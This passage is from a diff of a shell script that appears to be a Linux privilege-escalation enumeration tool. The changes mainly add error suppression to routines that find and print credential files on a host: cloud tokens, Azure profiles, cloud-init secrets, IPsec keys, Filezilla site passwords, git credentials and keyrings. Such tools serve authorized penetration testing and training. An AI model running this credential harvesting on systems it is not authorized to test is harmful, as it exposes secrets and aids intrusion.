\"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,access_tokens\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,access_tokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"accessTokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "accessTokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "accessTokens\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,accessTokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"azureProfile\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "azureProfile.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "azureProfile\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,azureProfile\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "TokenCache.dat"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"AzureRMContext\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AzureRMContext.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "AzureRMContext\.json$" | while read f; do ls -ld "$f" | sed -${E} "s,AzureRMContext\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.bluemix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bluemix"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.bluemix$" | while read f; do ls -ld "$f" | sed -${E} "s,\.bluemix$,${SED_RED},"; find "$f" -name "config.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "legacy_credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,legacy_credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access_tokens\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"access_tokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access_tokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "access_tokens\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access_tokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"accessTokens\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "accessTokens.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "accessTokens\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,accessTokens\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"azureProfile\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "azureProfile.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "azureProfile\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,azureProfile\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"TokenCache\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "TokenCache.dat"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "TokenCache\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,TokenCache\.dat$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"AzureRMContext\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AzureRMContext.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "AzureRMContext\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,AzureRMContext\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.bluemix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bluemix"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.bluemix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.bluemix$,${SED_RED},"; find "$f" -name "config.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_CLOUD_INIT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cloud Init Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CLOUD_INIT\" | grep -E \"cloud\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cloud.cfg"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_INIT" | grep -E "cloud\.cfg$" | while read f; do ls -ld "$f" | sed -${E} "s,cloud\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy" | grep -Ev "\W+\#|^#" | sed -${E} "s,consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_INIT\" | grep -E \"cloud\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cloud.cfg"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_INIT" | grep -E "cloud\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cloud\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy" | grep -Ev "\W+\#|^#" | sed -${E} "s,consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_CLOUDFLARE" ] || [ "$DEBUG" ]; then print_2title "Analyzing CloudFlare Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CLOUDFLARE\" | grep -E \"\.cloudflared$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".cloudflared"; fi; fi; printf "%s" "$PSTORAGE_CLOUDFLARE" | grep -E "\.cloudflared$" | while read f; do ls -ld "$f" | sed -${E} "s,\.cloudflared$,${SED_RED},"; ls -lRA "$f";done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUDFLARE\" | grep -E \"\.cloudflared$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".cloudflared"; fi; fi; printf "%s" "$PSTORAGE_CLOUDFLARE" | grep -E "\.cloudflared$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.cloudflared$,${SED_RED},"; ls -lRA "$f";done; echo ""; fi if [ "$PSTORAGE_ERLANG" ] || [ "$DEBUG" ]; then print_2title "Analyzing Erlang Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ERLANG\" | grep -E \"\.erlang\.cookie$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".erlang.cookie"; fi; fi; printf "%s" "$PSTORAGE_ERLANG" | grep -E "\.erlang\.cookie$" | while read f; do ls -ld "$f" | sed -${E} "s,\.erlang\.cookie$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ERLANG\" | grep -E \"\.erlang\.cookie$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".erlang.cookie"; fi; fi; printf "%s" "$PSTORAGE_ERLANG" | grep -E "\.erlang\.cookie$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.erlang\.cookie$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_GMV_AUTH" ] || [ "$DEBUG" ]; then print_2title "Analyzing GMV Auth Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_GMV_AUTH\" | grep -E \"gvm-tools\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "gvm-tools.conf"; fi; fi; printf "%s" "$PSTORAGE_GMV_AUTH" | grep -E "gvm-tools\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,gvm-tools\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GMV_AUTH\" | grep -E \"gvm-tools\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "gvm-tools.conf"; fi; fi; printf "%s" "$PSTORAGE_GMV_AUTH" | grep -E "gvm-tools\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,gvm-tools\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|password.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_IPSEC" ] || [ "$DEBUG" ]; then print_2title "Analyzing IPSec Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.secrets"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.secrets$" | while read f; do ls -ld "$f" | sed -${E} "s,ipsec\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.conf"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,ipsec\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.secrets"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.secrets$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipsec\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_IPSEC\" | grep -E \"ipsec\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipsec.conf"; fi; fi; printf "%s" "$PSTORAGE_IPSEC" | grep -E "ipsec\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipsec\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_IRSSI" ] || [ "$DEBUG" ]; then print_2title "Analyzing IRSSI Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_IRSSI\" | grep -E \"\.irssi$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".irssi"; fi; fi; printf "%s" "$PSTORAGE_IRSSI" | grep -E "\.irssi$" | while read f; do ls -ld "$f" | sed -${E} "s,\.irssi$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,password.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_IRSSI\" | grep -E \"\.irssi$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".irssi"; fi; fi; printf "%s" "$PSTORAGE_IRSSI" | grep -E "\.irssi$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.irssi$,${SED_RED},"; find "$f" -name "config" | while read ff; do ls -ld "$ff" | sed -${E} "s,config,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,password.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_KEYRING" ] || [ "$DEBUG" ]; then print_2title "Analyzing Keyring Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"keyrings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "keyrings"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "keyrings$" | while read f; do ls -ld "$f" | sed -${E} "s,keyrings$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keyring$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keyring"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keyring$" | while read f; do ls -ld "$f" | sed -${E} "s,\.keyring$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keystore$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keystore"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keystore$" | while read f; do ls -ld "$f" | sed -${E} "s,\.keystore$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.jks$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.jks"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.jks$" | while read f; do ls -ld "$f" | sed -${E} "s,\.jks$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"keyrings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "keyrings"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "keyrings$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,keyrings$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keyring$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keyring"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keyring$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.keyring$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.keystore$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.keystore"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.keystore$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.keystore$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KEYRING\" | grep -E \"\.jks$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.jks"; fi; fi; printf "%s" "$PSTORAGE_KEYRING" | grep -E "\.jks$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.jks$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_FILEZILLA" ] || [ "$DEBUG" ]; then print_2title "Analyzing Filezilla Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla$" | while read f; do ls -ld "$f" | sed -${E} "s,filezilla$,${SED_RED},"; find "$f" -name "sitemanager.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,sitemanager.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,Host.*|Port.*|Protocol.*|User.*|Pass.*,${SED_RED},g"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,filezilla\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,filezilla$,${SED_RED},"; find "$f" -name "sitemanager.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,sitemanager.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,Host.*|Port.*|Protocol.*|User.*|Pass.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"filezilla\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "filezilla.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "filezilla\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,filezilla\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FILEZILLA\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_FILEZILLA" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_BACKUP_MANAGER" ] || [ "$DEBUG" ]; then print_2title "Analyzing Backup Manager Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"storage\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "storage.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "storage\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,storage\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"database\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "database.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "database\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,database\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"storage\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "storage.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "storage\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,storage\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_BACKUP_MANAGER\" | grep -E \"database\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "database.php"; fi; fi; printf "%s" "$PSTORAGE_BACKUP_MANAGER" | grep -E "database\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,database\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "'pass'|'password'|'user'|'database'|'host'" | sed -${E} "s,password|pass|user|database|host,${SED_RED},g"; done; echo ""; fi @@ -3103,16 +3800,16 @@ fi if [ "$PSTORAGE_GITHUB" ] || [ "$DEBUG" ]; then print_2title "Analyzing Github Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.github$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".github"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.github$" | while read f; do ls -ld "$f" | sed -${E} "s,\.github$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.gitconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".gitconfig"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.gitconfig$" | while read f; do ls -ld "$f" | sed -${E} "s,\.gitconfig$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git-credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git-credentials"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" | sed -${E} "s,\.git-credentials$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git$" | while read f; do ls -ld "$f" | sed -${E} "s,\.git$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.github$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".github"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.github$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.github$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.gitconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".gitconfig"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.gitconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.gitconfig$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git-credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git-credentials"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git-credentials$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git-credentials$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GITHUB\" | grep -E \"\.git$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".git"; fi; fi; printf "%s" "$PSTORAGE_GITHUB" | grep -E "\.git$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.git$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_SVN" ] || [ "$DEBUG" ]; then print_2title "Analyzing Svn Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SVN\" | grep -E \"\.svn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".svn"; fi; fi; printf "%s" "$PSTORAGE_SVN" | grep -E "\.svn$" | while read f; do ls -ld "$f" | sed -${E} "s,\.svn$,${SED_RED},"; ls -lRA "$f";done; echo ""; + if ! [ "`echo \"$PSTORAGE_SVN\" | grep -E \"\.svn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".svn"; fi; fi; printf "%s" "$PSTORAGE_SVN" | grep -E "\.svn$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.svn$,${SED_RED},"; ls -lRA "$f";done; echo ""; fi @@ -3121,94 +3818,96 @@ if [ "$PSTORAGE_PGP_GPG" ] || [ "$DEBUG" ]; then ( (command -v gpg && gpg --list-keys) || echo_not_found "gpg") 2>/dev/null ( (command -v netpgpkeys && netpgpkeys --list-keys) || echo_not_found "netpgpkeys") 2>/dev/null (command -v netpgp || echo_not_found "netpgp") 2>/dev/null - if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.pgp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.pgp"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.pgp$" | while read f; do ls -ld "$f" | sed -${E} "s,\.pgp$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gpg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gpg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gpg$" | while read f; do ls -ld "$f" | sed -${E} "s,\.gpg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.gnupg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.gnupg"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.gnupg$" | while read f; do ls -ld "$f" | sed -${E} "s,\.gnupg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PGP_GPG\" | grep -E \"\.pgp$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.pgp"; fi; fi; printf "%s" "$PSTORAGE_PGP_GPG" | grep -E "\.pgp$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} 